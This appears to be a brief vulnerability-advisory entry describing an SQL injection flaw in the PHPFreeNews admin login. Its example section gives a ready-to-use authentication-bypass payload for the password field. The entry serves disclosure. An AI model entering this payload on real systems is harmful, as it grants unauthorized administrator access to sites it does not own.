• info
• discussion
• exploit
• solution
• references

PHPFreeNews Admin Login SQL Injection Vulnerability

No exploit is required.

An example has been provided:

login: Admin
password: ') or isnull(1/0) or ('a'='a